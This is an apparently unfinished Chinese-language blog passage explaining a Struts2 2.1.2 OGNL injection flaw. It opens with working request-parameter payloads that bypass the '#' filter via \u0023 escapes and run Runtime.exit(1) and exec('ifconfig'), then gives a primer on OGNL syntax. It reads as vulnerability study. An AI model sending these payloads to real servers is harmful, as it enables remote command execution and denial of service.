?('\u0023_memberAccess[\'allowStaticMethodAccess\']')
(meh)=true&(aaa)
(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')
(\u0023foo\u003dnew%20java.lang.Boolean("false")))
&(asdf)
(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true
&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new java.lang.Boolean("false")))
&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL處理時最終的結果就是
java.lang.Runtime.getRuntime().exit(1);
----------------------------------------------------------------
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true
&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))
&(asdf)(('\u0023rt.exec("ifconfig")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
OGNL處理時最終的結果就是
java.lang.Runtime.getRuntime().exec("ifconfig")
以上為struts2.1.2版本洗一下的一個漏洞。首先鋪墊一下,上面代碼執行結果為停掉當前運行的容器,getRuntime().exit(1);退出。
首先這個漏洞出現是因為OGNL 的用法。
簡單的介紹一下ognl概念去看百科吧,說一下用法:
OGNL的方法調用:
OGNL是在運行時調用方法的,這使得它無法做強制的類型檢查,OGNL會去檢索一個和它方法的各個參數最接近的一個方法進行使用,
如果有多個方法滿足這個條件,那么OGNL將任意調用其中的一個.(NULL和所有原始類型匹配,所以最有可能返回一個出乎意料的調用).
OGNL也支持new object()的方法,產生一個新的對象,但是除了在java.lang包里的對象外,必須指明對象所在包的全名.
OGNL支持直接調用類的靜態方法.@class@method(args)
eg:@abs(-12.345);
@Java.lang.Math@floor(3.25);
@Java.lang.Math@Sqrt(4);
OGNL操作集合
1操作列表Lists
OGNL中Person in {"chinese", "japanese", '"Amercian"}
2 操作映射
OGNL中#{"foo" : "foovalue", "bar" : "barvalue"}
OGNL有一個簡化變量機制(在變量前加符號#),所有OGNL變量在整個表達式里是全局的。
eg:#var
#var = 99
listeners.size().( #this > 100 ? 2 * #this : 20 + #this ) 調用listeners的size()并與100比較,
#this為size的值,如果大于100則是返回兩倍的size值。
可以這樣創建一個Map:
#{“foo”: “foo value”, “bar”: “bar value” }
#@java.util.LinkedHashMap@{“foo”: “foo value”, “bar”: “bar value” }
OGNL 上下文變量
#application
#session
#request
#parameters
#attr
以上各值分別對應應用程序的不同層次的值,為了達到程序不被惡意修改在xwork包 com.opensymphony.xwork2.interceptor.PrepareInterceptor類中對#號進行了過濾。
但沒有過濾java中的unicode碼,#的是\u0023
(未完待續。。)